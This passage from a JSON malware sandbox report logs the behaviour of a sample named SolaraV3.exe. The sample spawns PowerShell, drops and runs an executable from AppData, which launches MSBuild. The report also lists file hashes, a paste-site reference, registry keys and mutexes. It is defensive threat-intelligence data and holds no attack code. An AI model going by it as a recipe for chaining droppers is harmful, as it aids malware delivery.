Keep-Alive","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}],"processes":[{"pid":8612,"ppid":0,"name":"SolaraV3.exe","command_line":"","sha256":"03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","normalized_path":"C:\\SolaraV3.exe","uid":"00000000-00008612","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8952,"ppid":8612,"name":"powershell.exe","command_line":"$6b","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008612","uid":"00000000-00008952"},{"pid":8036,"ppid":8952,"name":"powershell.exe","command_line":"Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error');","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008952","uid":"00000000-00008036"},{"pid":6164,"ppid":8952,"name":"a3bqmcq2.nsp0.exe","command_line":"","sha256":"929554ce3dce05824db131f94b55e7c9da13eecb1bab6930df0829597de692c4","normalized_path":"%APPDATA%\\a3bqmcq2.nsp0.exe","parent_uid":"00000000-00008952","uid":"00000000-00006164"},{"pid":7108,"ppid":6164,"name":"MSBuild.exe","command_line":"","sha256":"d94e9ea7dce3dd4760f48356f14a986ea1fc8f1c84864105bf815a32284296ab","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe","parent_uid":"00000000-00006164","uid":"00000000-00007108"},{"pid":4400,"ppid":6164,"name":"WerFault.exe","command_line":"-u -p 6164 -s 80","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00006164","uid":"00000000-00004400"},{"pid":8668,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 6164 -ip 6164","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00008668","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["Microsoft.Management.Infrastructure.Native.ni.dll","dhcpcsvc6.dll","KernelBase.dll","System.Core.ni.dll","System.Drawing.ni.dll","Microsoft.Management.Infrastructure.ni.dll","dnsapi.dll","shlwapi.dll","version.dll","vcruntime140_1_clr0400.dll","Microsoft.PowerShell.Commands.Management.ni.dll","System.Transactions.dll","MpOAV.dll","BCP47Langs.dll","rtutils.dll","kernel.appcore.dll","mscorlib.ni.dll","Microsoft.WSMan.Management.ni.dll","gpapi.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","OnDemandConnRouteHelper.dll","VxSSL64.dll","ws2_32.dll","msasn1.dll","srvcli.dll","imm32.dll","cryptsp.dll","System.Configuration.ni.dll","secur32.dll","sspicli.dll","MpClient.dll","mi.dll","fastprox.dll","mscoree.dll","wldp.dll","CoreMessaging.dll","urlmon.dll","netutils.dll","nsi.dll","msvcrt.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","edputil.dll","winhttp.dll","winnsi.dll","kernel32.dll","advapi32.dll","bcrypt.dll","System.Data.dll","miutils.dll","rasapi32.dll","oleaut32.dll","GdiPlus.dll","Windows.StateRepositoryPS.dll","virtdisk.dll","coml2.dll","wbemsvc.dll","comctl32.dll","System.Configuration.Install.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","rasman.dll","rasadhlp.dll","ncrypt.dll","fltLib.dll","bcryptprimitives.dll","clrjit.dll","System.ni.dll","gdi32full.dll","TextInputFramework.dll","amsi.dll","dhcpcsvc.dll","System.Xml.ni.dll","ucrtbase.dll","shell32.dll","WinTypes.dll","atl.dll","wbemcomn.dll","prxyqry.dll","sechost.dll","crypt32.dll","apphelp.dll","ole32.dll","userenv.dll","propsys.dll","AppResolver.dll","IPHLPAPI.DLL","schannel.dll","wshext.dll","Microsoft.PowerShell.Security.ni.dll","ntdll.dll","user32.dll","msvcp_win.dll","combase.dll","psapi.dll","iertutil.dll","wbemprox.dll","vcruntime140_clr0400.dll","AppxSip.dll","profapi.dll","TextShaping.dll","msctf.dll","ucrtbase_clr0400.dll","msisip.dll","windows.storage.dll","clbcatq.dll","DWrite.dll","mswsock.dll","win32u.dll","rsaenh.dll","pwrshsip.dll","System.Transactions.ni.dll","CoreUIComponents.dll","OneCoreUAPCommonProxyStub.dll","dpapi.dll","FWPUCLNT.DLL","mscoreei.dll","cfgmgr32.dll","ntasn1.dll","c1Na1Ll8.dll","diasymreader.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","SHCore.dll","ncryptsslp.dll","wintrust.dll","wmidcom.dll","uxtheme.dll","cryptbase.dll","System.Management.ni.dll","System.DirectoryServices.ni.dll","rpcrt4.dll","clr.dll","System.Management.Automation.ni.dll","System.Data.ni.dll","gdi32.dll","System.Windows.Forms.ni.dll","msIso.dll","dwmapi.dll","powrprof.dll","System.Numerics.ni.dll","sppc.dll","q2mjIjD9.dll","imagehlp.dll","ntmarta.dll","cldapi.dll","aepic.dll","slc.dll","mskeyprotect.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ModuleAnalysisCache","sha256":"3614976a0875d8943a9e10941946d757873db55b2a8f98991765020592edac0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"StartupProfileData-NonInteractive","sha256":"db78072ec6bcf5a5b0647d3661b46f638e02f497130d2fa28abd1cfd3c876fc0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"__PSScriptPolicyTest_1midewnx.jod.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"__PSScriptPolicyTest_54tdtoyr.4qs.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"__PSScriptPolicyTest_gx32mqjv.wmr.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"__PSScriptPolicyTest_h0qigsys.nn0.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"__PSScriptPolicyTest_r2tzsvhz.i4p.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"__PSScriptPolicyTest_tpv2wige.y0o.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"a3bqmcq2.nsp0.exe","sha256":"929554ce3dce05824db131f94b55e7c9da13eecb1bab6930df0829597de692c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"SolaraV3.exe.log","sha256":"2255846725fc431d7a3e007ddac9f5bd0f1da0e98492179928c2e12922de56af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"urlref_httpspaste.ggpssev1ab16d3698e11c4e1dbbeedf28e4340e5dfilesded738e3aaac405aaf9f1a7546b7350fraw","sha256":"6e3be4d80bbf9d445d451f44e71be8136523ece0d315b5a69dc0796622f56f73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"files_written":[{"path":"%TEMP%\\__PSScriptPolicyTest_tpv2wige.y0o.ps1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1midewnx.jod.psm1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_54tdtoyr.4qs.ps1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_r2tzsvhz.i4p.psm1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_gx32mqjv.wmr.ps1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_h0qigsys.nn0.psm1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\SolaraV3.exe.log","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vyxoz345.unn.ps1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pyshxyfr.esn.psm1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_2w4otofa.rph.ps1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_naovvzqt.gx0.psm1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:6460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:6460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"SM0:6460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8316:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:8316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:8316:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"SM0:8316:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8316:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4152:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4152:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:4152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"Local\\SM0:4152:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"SM0:4152:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"na